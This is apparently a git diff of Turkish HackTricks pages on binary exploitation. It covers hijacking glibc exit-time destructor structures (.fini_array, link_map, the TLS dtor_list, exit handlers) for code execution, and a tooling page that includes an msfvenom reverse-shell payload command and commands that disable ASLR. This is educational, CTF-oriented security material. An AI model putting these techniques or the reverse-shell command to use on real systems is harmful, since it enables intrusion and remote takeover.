* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -17,18 +17,18 @@ HackTricks'i desteklemenin diğer yolları:
|
||||||
## .dtors
|
## .dtors
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Günümüzde bir binary dosyada .dtors bölümü bulmak çok **garip**!
|
Günümüzde bir binary dosyasında .dtors bölümü bulmak çok **garip**!
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Yıkıcılar, **programın sona ermesinden önce çalıştırılan fonksiyonlardır** (`main` fonksiyonu geri döndükten sonra).\
|
Yıkıcılar, programın **sona ermeden önce** (ana `main` fonksiyonu geri döndükten sonra) **çalıştırılan fonksiyonlardır**.\
|
||||||
Bu fonksiyonların adresleri, binary dosyanın **`.dtors`** bölümünde saklanır ve bu nedenle, **`__DTOR_END__`**'e bir **shellcode** adresi **yazmayı** başarırsanız, bu programın sona ermeden önce **çalıştırılacaktır**.
|
Bu fonksiyonların adresleri, binary dosyasının **`.dtors`** bölümünde saklanır ve bu nedenle, **`__DTOR_END__`** içine bir **shellcode** adresi **yazmayı** başarırsanız, bu programın sona ermeden önce **çalıştırılacaktır**.
|
||||||
|
|
||||||
Bu bölümün adresini şu şekilde alın:
|
Bu bölümün adresini şu şekilde alın:
|
||||||
```bash
|
```bash
|
||||||
objdump -s -j .dtors /exec
|
objdump -s -j .dtors /exec
|
||||||
rabin -s /exec | grep “__DTOR”
|
rabin -s /exec | grep “__DTOR”
|
||||||
```
|
```
|
||||||
Genellikle **DTOR** işaretçilerini **`ffffffff`** ve **`00000000`** değerleri **arasında** bulacaksınız. Yani eğer sadece bu değerleri görüyorsanız, bu **kayıtlı bir işlevin olmadığı anlamına gelir**. Bu yüzden **`00000000`** değerini **shellcode'ın adresiyle üzerine yazın** ve onu çalıştırın.
|
Genellikle **DTOR** işaretçilerini `ffffffff` ve `00000000` değerleri **arasında** bulacaksınız. Yani eğer sadece bu değerleri görüyorsanız, bu **herhangi bir fonksiyonun kaydedilmediği anlamına gelir**. Bu yüzden **`00000000`** değerini **shellcode'ın adresiyle üzerine yazın** ve onu çalıştırın.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Tabii ki, daha sonra onu çağırmak için **shellcode'ı saklamak için bir yer bulmanız gerekiyor**.
|
Tabii ki, daha sonra onu çağırmak için **shellcode'ı saklamak için bir yer bulmanız gerekiyor**.
|
||||||
|
@ -36,7 +36,7 @@ Tabii ki, daha sonra onu çağırmak için **shellcode'ı saklamak için bir yer
|
||||||
|
|
||||||
## **.fini\_array**
|
## **.fini\_array**
|
||||||
|
|
||||||
Temelde bu, programın sona ermeden önce **çağrılacak işlevlere sahip bir yapıdır**, **`.dtors`** gibi. Bu, **shellcode'unuzu sadece bir adrese atlayarak çağırabildiğinizde** veya **zafiyeti ikinci kez sömürmek için tekrar `main`'e gitmeniz gereken durumlarda** ilginçtir.
|
Temelde bu, programın sona ermeden önce **çağrılacak fonksiyonların bulunduğu bir yapıdır**, **`.dtors`** gibi. Bu, **shellcode'unuzu bir adrese atlayarak çağırabildiğinizde** veya **zafiyeti ikinci kez sömürmek için `main`'e geri gitmeniz gereken durumlarda** ilginçtir.
|
||||||
```bash
|
```bash
|
||||||
objdump -s -j .fini_array ./greeting
|
objdump -s -j .fini_array ./greeting
|
||||||
|
|
||||||
|
@ -47,12 +47,226 @@ Contents of section .fini_array:
|
||||||
|
|
||||||
#Put your address in 0x8049934
|
#Put your address in 0x8049934
|
||||||
```
|
```
|
||||||
|
Not edin ki **`.fini_array`**'den bir işlev çalıştırıldığında bir sonrakine geçer, bu yüzden birkaç kez çalıştırılmaz (sonsuz döngüleri önler), ancak yalnızca buraya yerleştirilen bir **işlevin çalıştırılmasını** sağlar.
|
||||||
|
|
||||||
|
`.fini_array` içindeki girişlerin **ters** sırayla çağrıldığını unutmayın, bu yüzden muhtemelen en sondan yazmaya başlamak istersiniz.
|
||||||
|
|
||||||
#### Sonsuz döngü
|
#### Sonsuz döngü
|
||||||
|
|
||||||
**`.fini_array`**'daki bir işlevin çalıştırılması, bir sonrakine geçer, bu nedenle birkaç kez çalıştırılmaz (sonsuz döngüleri önler), ancak yalnızca buraya yerleştirilen bir **işlevin çalıştırılmasını** sağlar.
|
**`.fini_array`**'yi kötüye kullanmak için sonsuz bir döngü elde etmek için [**burada ne yapıldığını kontrol edebilirsiniz**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** En az 2 girişiniz varsa **`.fini_array`** içinde, şunları yapabilirsiniz:
|
||||||
|
|
||||||
**`.fini_array`** içindeki girişler **ters** sırayla çağrılır, bu nedenle muhtemelen en sondan yazmaya başlamak istersiniz.
|
* İlk yazmanızı **zafiyetli keyfi yazma işlevini çağırmak** için kullanın
|
||||||
|
* Ardından, **`__libc_csu_fini`** tarafından depolanan yığında dönüş adresini hesaplayın ve oraya **`__libc_csu_fini`**'nin adresini koyun
|
||||||
|
* Bu, **`__libc_csu_fini`**'nin kendisini tekrar çağırarak **`.fini_array`** işlevlerini tekrar çalıştırmasını sağlayacak ve zafiyetli WWW işlevini 2 kez çağıracaktır: biri için **keyfi yazma** ve diğeri **yığında kendi kendini tekrar çağırmak için `__libc_csu_fini`**'nin dönüş adresini tekrar üzerine yazmak.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
[**Tam RELRO**](../common-binary-protections-and-bypasses/relro.md)** ile,** **`.fini_array`** bölümü **salt okunur** hale getirilir.
|
[**Tam RELRO**](../common-binary-protections-and-bypasses/relro.md)** ile,** bölüm **`.fini_array`** **salt okunur** hale getirilir.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
## link\_map
|
||||||
|
|
||||||
|
[**Bu gönderide**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure) açıklandığı gibi, Program `return` veya `exit()` kullanarak çıkarsa, `__run_exit_handlers()`'ı çalıştıracak ve kayıtlı yıkıcıları çağıracaktır.
|
||||||
|
|
||||||
|
{% hint style="danger" %}
|
||||||
|
Program **`_exit()`** işlevi ile çıkarsa, **`exit` sistem çağrısını** çağırır ve çıkış işleyicileri çalıştırılmaz. Bu nedenle, `__run_exit_handlers()`'ın çalıştırıldığını doğrulamak için bir kesme noktası ayarlayabilirsiniz.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
Önemli kod ([kaynak](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
|
||||||
|
```c
|
||||||
|
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
|
||||||
|
if (fini_array != NULL)
|
||||||
|
{
|
||||||
|
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
|
||||||
|
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
|
||||||
|
|
||||||
|
while (sz-- > 0)
|
||||||
|
((fini_t) array[sz]) ();
|
||||||
|
}
|
||||||
|
[...]
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// This is the d_un structure
|
||||||
|
ptype l->l_info[DT_FINI_ARRAY]->d_un
|
||||||
|
type = union {
|
||||||
|
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
|
||||||
|
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Not: `map -> l_addr + fini_array -> d_un.d_ptr` kullanılarak **dizinin çağrılacak fonksiyonların konumunu hesaplamak** için.
|
||||||
|
|
||||||
|
Birkaç seçenek bulunmaktadır:
|
||||||
|
|
||||||
|
* `map->l_addr` değerini üzerine yazarak, talimatları yürütmek için sahte bir `fini_array`'e işaret edecek şekilde yapay bir `fini_array` oluşturmak
|
||||||
|
* Bellekte daha çok ardışık olan `l_info[DT_FINI_ARRAY]` ve `l_info[DT_FINI_ARRAYSZ]` girişlerini üzerine yazarak, tekrar `array`'ın saldırganın kontrol ettiği bir bellek bölgesine işaret etmesini sağlayacak sahte bir `Elf64_Dyn` yapısına işaret etmelerini sağlamak.
|
||||||
|
* [**Bu yazıda**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) `l_info[DT_FINI_ARRAY]` üzerine `.bss` içindeki kontrol edilen bir bellekteki adresle üzerine yazarak sahte bir `fini_array`'nın adresini üzerine yazıyor. Bu sahte dizi önce yürütülecek olan bir [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) adresini içerir ve ardından bu sahte dizi adresi ile `map->l_addr` değeri arasındaki farkı içerir, böylece `*array` sahte diziye işaret eder.
|
||||||
|
* Bu tekniğin ana yazısına ve [**bu yazıya**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) göre ld.so, ld.so'da binary `link_map`'e işaret eden bir işaretçi bırakır. Bir keyfi yazma işlemiyle üzerine yazarak, saldırganın kontrol ettiği sahte bir `fini_array`'e işaret eden bir adresle ld.so'nun bu işaretçiye işaret etmesini sağlamak mümkündür, örneğin bir [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) adresine.
|
||||||
|
```c
|
||||||
|
/* Next try the old-style destructor. */
|
||||||
|
ElfW(Dyn) *fini = map->l_info[DT_FINI];
|
||||||
|
if (fini != NULL)
|
||||||
|
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Bu durumda, `map->l_info[DT_FINI]` değerinin üzerine yazılabilir ve sahte bir `ElfW(Dyn)` yapısına işaret edilebilir. [**Daha fazla bilgi için buraya bakabilirsiniz**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure).
|
||||||
|
|
||||||
|
## TLS-Depolama dtor\_list üzerine yazma işlemi **`__run_exit_handlers`** içinde
|
||||||
|
|
||||||
|
[**Burada açıklandığı gibi**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite), bir program `return` veya `exit()` ile çıkış yaparsa, **`__run_exit_handlers()`** fonksiyonunu çalıştıracaktır ve kayıtlı olan herhangi bir yıkıcı fonksiyonu çağıracaktır.
|
||||||
|
|
||||||
|
_run_exit_handlers() fonksiyonundan kod:
|
||||||
|
```c
|
||||||
|
/* Call all functions registered with `atexit' and `on_exit',
|
||||||
|
in the reverse of the order in which they were registered
|
||||||
|
perform stdio cleanup, and terminate program execution with STATUS. */
|
||||||
|
void
|
||||||
|
attribute_hidden
|
||||||
|
__run_exit_handlers (int status, struct exit_function_list **listp,
|
||||||
|
bool run_list_atexit, bool run_dtors)
|
||||||
|
{
|
||||||
|
/* First, call the TLS destructors. */
|
||||||
|
#ifndef SHARED
|
||||||
|
if (&__call_tls_dtors != NULL)
|
||||||
|
#endif
|
||||||
|
if (run_dtors)
|
||||||
|
__call_tls_dtors ();
|
||||||
|
```
|
||||||
|
Kod **`__call_tls_dtors()`** fonksiyonundan:
|
||||||
|
```c
|
||||||
|
typedef void (*dtor_func) (void *);
|
||||||
|
struct dtor_list //struct added
|
||||||
|
{
|
||||||
|
dtor_func func;
|
||||||
|
void *obj;
|
||||||
|
struct link_map *map;
|
||||||
|
struct dtor_list *next;
|
||||||
|
};
|
||||||
|
|
||||||
|
[...]
|
||||||
|
/* Call the destructors. This is called either when a thread returns from the
|
||||||
|
initial function or when the process exits via the exit function. */
|
||||||
|
void
|
||||||
|
__call_tls_dtors (void)
|
||||||
|
{
|
||||||
|
while (tls_dtor_list) // parse the dtor_list chained structures
|
||||||
|
{
|
||||||
|
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
|
||||||
|
dtor_func func = cur->func;
|
||||||
|
PTR_DEMANGLE (func); // demangle the function ptr
|
||||||
|
|
||||||
|
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
|
||||||
|
func (cur->obj);
|
||||||
|
[...]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Her bir kayıtlı fonksiyon için **`tls_dtor_list`** içindeki işaretçiyi **`cur->func`**'tan çözer ve **`cur->obj`** argümanı ile çağırır.
|
||||||
|
|
||||||
|
Bu [**GEF'in bu fork'u**](https://github.com/bata24/gef) kullanılarak **`tls`** fonksiyonu ile, aslında **`dtor_list`**'in **stack canary** ve **PTR\_MANGLE cookie**'ye çok **yakın** olduğu görülebilir. Bu nedenle, üzerine taşma olursa **cookie** ve **stack canary**'yi **üzerine yazmak** mümkün olacaktır.\
|
||||||
|
PTR\_MANGLE cookie üzerine yazıldığında, `PTR_DEMANLE` fonksiyonunu **atlayabilir** çünkü 0x00 olarak ayarlanması, gerçek adresi elde etmek için kullanılan **`xor`**'un sadece yapılandırılmış adres olduğu anlamına gelir. Ardından, **`dtor_list`** üzerine yazarak, fonksiyon **adresi** ve **argümanı** ile birkaç fonksiyonu **zincirleme** mümkün olacaktır.
|
||||||
|
|
||||||
|
Son olarak, depolanan işaretçinin sadece cookie ile **xor** işlemine tabi tutulmayacağı, aynı zamanda 17 bit döndürüleceğine dikkat edin:
|
||||||
|
```armasm
|
||||||
|
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
|
||||||
|
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
|
||||||
|
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
|
||||||
|
```
|
||||||
|
Yeni bir adres eklemeden önce bunu dikkate almanız gerekmektedir.
|
||||||
|
|
||||||
|
Örnek bir örneği [**orijinal gönderide**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) bulun.
|
||||||
|
|
||||||
|
## **`__run_exit_handlers`** içindeki diğer karışık işaretçiler
|
||||||
|
|
||||||
|
Bu teknik [**burada açıklanmıştır**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) ve yine programın **`return` veya `exit()` çağrısı yaparak çıkması** ve dolayısıyla **`__run_exit_handlers()`** fonksiyonunun çağrılmasına bağlıdır.
|
||||||
|
|
||||||
|
Bu fonksiyonun daha fazla kodunu kontrol edelim:
|
||||||
|
```c
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
struct exit_function_list *cur;
|
||||||
|
|
||||||
|
restart:
|
||||||
|
cur = *listp;
|
||||||
|
|
||||||
|
if (cur == NULL)
|
||||||
|
{
|
||||||
|
/* Exit processing complete. We will not allow any more
|
||||||
|
atexit/on_exit registrations. */
|
||||||
|
__exit_funcs_done = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (cur->idx > 0)
|
||||||
|
{
|
||||||
|
struct exit_function *const f = &cur->fns[--cur->idx];
|
||||||
|
const uint64_t new_exitfn_called = __new_exitfn_called;
|
||||||
|
|
||||||
|
switch (f->flavor)
|
||||||
|
{
|
||||||
|
void (*atfct) (void);
|
||||||
|
void (*onfct) (int status, void *arg);
|
||||||
|
void (*cxafct) (void *arg, int status);
|
||||||
|
void *arg;
|
||||||
|
|
||||||
|
case ef_free:
|
||||||
|
case ef_us:
|
||||||
|
break;
|
||||||
|
case ef_on:
|
||||||
|
onfct = f->func.on.fn;
|
||||||
|
arg = f->func.on.arg;
|
||||||
|
PTR_DEMANGLE (onfct);
|
||||||
|
|
||||||
|
/* Unlock the list while we call a foreign function. */
|
||||||
|
__libc_lock_unlock (__exit_funcs_lock);
|
||||||
|
onfct (status, arg);
|
||||||
|
__libc_lock_lock (__exit_funcs_lock);
|
||||||
|
break;
|
||||||
|
case ef_at:
|
||||||
|
atfct = f->func.at;
|
||||||
|
PTR_DEMANGLE (atfct);
|
||||||
|
|
||||||
|
/* Unlock the list while we call a foreign function. */
|
||||||
|
__libc_lock_unlock (__exit_funcs_lock);
|
||||||
|
atfct ();
|
||||||
|
__libc_lock_lock (__exit_funcs_lock);
|
||||||
|
break;
|
||||||
|
case ef_cxa:
|
||||||
|
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
|
||||||
|
we must mark this function as ef_free. */
|
||||||
|
f->flavor = ef_free;
|
||||||
|
cxafct = f->func.cxa.fn;
|
||||||
|
arg = f->func.cxa.arg;
|
||||||
|
PTR_DEMANGLE (cxafct);
|
||||||
|
|
||||||
|
/* Unlock the list while we call a foreign function. */
|
||||||
|
__libc_lock_unlock (__exit_funcs_lock);
|
||||||
|
cxafct (arg, status);
|
||||||
|
__libc_lock_lock (__exit_funcs_lock);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
|
||||||
|
/* The last exit function, or another thread, has registered
|
||||||
|
more exit functions. Start the loop over. */
|
||||||
|
goto restart;
|
||||||
|
}
|
||||||
|
|
||||||
|
*listp = cur->next;
|
||||||
|
if (*listp != NULL)
|
||||||
|
/* Don't free the last element in the chain, this is the statically
|
||||||
|
allocate element. */
|
||||||
|
free (cur);
|
||||||
|
}
|
||||||
|
|
||||||
|
__libc_lock_unlock (__exit_funcs_lock);
|
||||||
|
```
|
||||||
|
Değişken `f`, **`initial`** yapısına işaret eder ve `f->flavor` değerine bağlı olarak farklı fonksiyonlar çağrılacaktır.\
|
||||||
|
Değerine bağlı olarak, çağrılacak fonksiyonun adresi farklı bir yerde olacak, ancak her zaman **demangled** olacaktır.
|
||||||
|
|
||||||
|
Ayrıca, **`ef_on`** ve **`ef_cxa`** seçeneklerinde bir **argümanı** kontrol etmek de mümkündür.
|
||||||
|
|
||||||
|
Hata ayıklama oturumunda **GEF** ile çalışırken **`gef> p initial`** komutu kullanılarak **`initial` yapısı** kontrol edilebilir.
|
||||||
|
|
||||||
|
Bunu kötüye kullanmak için ya **`PTR_MANGLE`cookie**'yi sızdırmanız ya da silmeniz ve ardından `initial` içindeki bir `cxa` girişini `system('/bin/sh')` ile üzerine yazmanız gerekir.\
|
||||||
|
Bu tekniğe ilişkin bir örneği [**orijinal teknik hakkındaki blog yazısında**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure) bulabilirsiniz.
|
||||||
|
|
|
@ -2,34 +2,38 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme konusunda öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
|
||||||
|
|
||||||
HackTricks'ı desteklemenin diğer yolları:
|
HackTricks'ı desteklemenin diğer yolları:
|
||||||
|
|
||||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
|
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||||
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
|
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Metasploit
|
## Metasploit
|
||||||
```
|
```bash
|
||||||
pattern_create.rb -l 3000 #Length
|
pattern_create.rb -l 3000 #Length
|
||||||
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
|
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
|
||||||
nasm_shell.rb
|
nasm_shell.rb
|
||||||
nasm> jmp esp #Get opcodes
|
nasm> jmp esp #Get opcodes
|
||||||
msfelfscan -j esi /opt/fusion/bin/level01
|
msfelfscan -j esi /opt/fusion/bin/level01
|
||||||
```
|
```
|
||||||
### Kabuk Kodları
|
### Shellcode'lar
|
||||||
```
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
||||||
```
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
## GDB
|
## GDB
|
||||||
|
|
||||||
### Kurulum
|
### Kurulum
|
||||||
```
|
```bash
|
||||||
apt-get install gdb
|
apt-get install gdb
|
||||||
```
|
```
|
||||||
### Parametreler
|
### Parametreler
|
||||||
|
@ -84,9 +88,9 @@ x/s pointer # String pointed by the pointer
|
||||||
x/xw &pointer # Address where the pointer is located
|
x/xw &pointer # Address where the pointer is located
|
||||||
x/i $eip # Instructions of the EIP
|
x/i $eip # Instructions of the EIP
|
||||||
```
|
```
|
||||||
### [GEF](https://github.com/hugsy/gef)
|
### [GEF](https://github.com/hugsy/gef)
|
||||||
|
|
||||||
GEF, GNU Debugger (GDB) için geliştirilmiş bir GDB uzantısıdır. Hata ayıklama sürecini kolaylaştırmak için bir dizi yardımcı araç ve komut ekler. GEF, hafıza sızıntılarını tespit etmek, ROP zincirleri oluşturmak ve daha fazlasını yapmak için kullanışlıdır.
|
Daha ilginç komutlar içeren [**bu GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) çatalını isteğe bağlı olarak kullanabilirsiniz.
|
||||||
```bash
|
```bash
|
||||||
help memory # Get help on memory command
|
help memory # Get help on memory command
|
||||||
canary # Search for canary value in memory
|
canary # Search for canary value in memory
|
||||||
|
@ -130,7 +134,7 @@ gef➤ pattern search 0x6261617762616176
|
||||||
|
|
||||||
#### GDB aynı adresler
|
#### GDB aynı adresler
|
||||||
|
|
||||||
Hata ayıklarken GDB, **çalıştırıldığında kullanılan adreslerden biraz farklı olacaktır.** GDB'nin aynı adreslere sahip olmasını sağlamak için şunları yapabilirsiniz:
|
Hata ayıklarken GDB, **yürütüldüğünde kullanılan adreslerden biraz farklı olacaktır.** GDB'nin aynı adreslere sahip olmasını sağlayabilirsiniz:
|
||||||
|
|
||||||
* `unset env LINES`
|
* `unset env LINES`
|
||||||
* `unset env COLUMNS`
|
* `unset env COLUMNS`
|
||||||
|
@ -141,7 +145,7 @@ Hata ayıklarken GDB, **çalıştırıldığında kullanılan adreslerden biraz
|
||||||
#### Çağrılan fonksiyonları bulmak için geri izleme
|
#### Çağrılan fonksiyonları bulmak için geri izleme
|
||||||
|
|
||||||
**Statik olarak bağlanmış bir binary**'e sahipseniz, tüm fonksiyonlar binary'ye ait olacaktır (harici kütüphanelere değil). Bu durumda, örneğin kullanıcı girdisi istemek için binary'nin izlediği akışı **tanımlamak zor olacaktır**.\
|
**Statik olarak bağlanmış bir binary**'e sahipseniz, tüm fonksiyonlar binary'ye ait olacaktır (harici kütüphanelere değil). Bu durumda, örneğin kullanıcı girdisi istemek için binary'nin izlediği akışı **tanımlamak zor olacaktır**.\
|
||||||
Bu akışı kolayca tanımlayabilirsiniz **gdb** ile binary'yi çalıştırarak, giriş istendiğinde durdurun ve ardından **CTRL+C** ile durdurun ve **`bt`** (**geri izleme**) komutunu kullanarak çağrılan fonksiyonları görebilirsiniz:
|
Bu akışı kolayca tanımlayabilirsiniz **gdb** ile binary'yi çalıştırarak, giriş istendiğinde durdurun ve ardından **CTRL+C** ile durdurun ve **`bt`** (**geri izleme**) komutunu kullanarak çağrılan fonksiyonları görün:
|
||||||
```
|
```
|
||||||
gef➤ bt
|
gef➤ bt
|
||||||
#0 0x00000000004498ae in ?? ()
|
#0 0x00000000004498ae in ?? ()
|
||||||
|
@ -152,21 +156,27 @@ gef➤ bt
|
||||||
```
|
```
|
||||||
### GDB sunucusu
|
### GDB sunucusu
|
||||||
|
|
||||||
`gdbserver --multi 0.0.0.0:23947` (IDA'da Linux makinesindeki yürütülebilir dosyanın mutlak yolunu ve Windows makinesindeki yürütülebilir dosyanın mutlak yolunu doldurmanız gerekmektedir)
|
`gdbserver --multi 0.0.0.0:23947` (IDA'da Linux makinesindeki yürütülebilir dosyanın mutlak yolunu ve Windows makinesindeki mutlak yolunu doldurmanız gerekmektedir)
|
||||||
|
|
||||||
## Ghidra
|
## Ghidra
|
||||||
|
|
||||||
### Yığın ofsetini bulma
|
### Yığın ofsetini bulma
|
||||||
|
|
||||||
**Ghidra**, **yerel değişkenlerin konumu hakkındaki bilgiler sayesinde bir **tampon taşması için **ofseti bulmak için çok yararlıdır.**\
|
**Ghidra**, **yerel değişkenlerin konumu hakkındaki bilgiler sayesinde bir **tampon taşmasının ofsetini bulmak için çok yararlıdır.**\
|
||||||
Örneğin, aşağıdaki örnekte, `local_bc` içinde bir tampon taşması, `0xbc` ofsetine ihtiyaç duyduğunuzu gösterir. Dahası, `local_10` bir canary çerezi ise, `local_bc`'yi üzerine yazmak için `0xac` ofseti olduğunu gösterir.\
|
Örneğin, aşağıdaki örnekte, `local_bc` içinde bir tampon taşması, `0xbc` bir ofsete ihtiyacınız olduğunu gösterir. Dahası, `local_10` bir canary çerezi ise, `local_bc`'den üzerine yazmak için `0xac` bir ofset olduğunu gösterir.\
|
||||||
_RIP'nin kaydedildiği ilk 0x08'in RBP'ye ait olduğunu unutmayın._
|
_RIP'nin kaydedildiği ilk 0x08'in RBP'ye ait olduğunu unutmayın._
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (1058).png>)
|
![](<../../../.gitbook/assets/image (1058).png>)
|
||||||
|
|
||||||
|
## qtool
|
||||||
|
```bash
|
||||||
|
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
|
||||||
|
```
|
||||||
|
Programda yürütülen her opcode'u al.
|
||||||
|
|
||||||
## GCC
|
## GCC
|
||||||
|
|
||||||
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Korumalar olmadan derleme\
|
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Korumasız derleme\
|
||||||
**-o** --> Çıktı\
|
**-o** --> Çıktı\
|
||||||
**-g** --> Kodu kaydet (GDB bunu görebilecek)\
|
**-g** --> Kodu kaydet (GDB bunu görebilecek)\
|
||||||
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Linux'ta ASLR'yi devre dışı bırakmak için
|
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Linux'ta ASLR'yi devre dışı bırakmak için
|
||||||
|
@ -177,7 +187,7 @@ _RIP'nin kaydedildiği ilk 0x08'in RBP'ye ait olduğunu unutmayın._
|
||||||
|
|
||||||
## Objdump
|
## Objdump
|
||||||
|
|
||||||
**-d** --> **Yürütülebilir** bölümleri (derlenmiş bir shellcode'un opcode'larını görmek, ROP Gadgets'ları bulmak, fonksiyon adreslerini bulmak için)\
|
**-d** --> **Yürütülebilir** bölümleri (derlenmiş bir shellcode'un opcode'larını görmek, ROP Gadgets bulmak, fonksiyon adresini bulmak...)\
|
||||||
**-Mintel** --> **Intel** sözdizimi\
|
**-Mintel** --> **Intel** sözdizimi\
|
||||||
**-t** --> **Semboller** tablosu\
|
**-t** --> **Semboller** tablosu\
|
||||||
**-D** --> **Tümünü** (statik değişkenin adresi)\
|
**-D** --> **Tümünü** (statik değişkenin adresi)\
|
||||||
|
@ -187,18 +197,18 @@ _RIP'nin kaydedildiği ilk 0x08'in RBP'ye ait olduğunu unutmayın._
|
||||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT'ta değiştirilecek "puts" adresi\
|
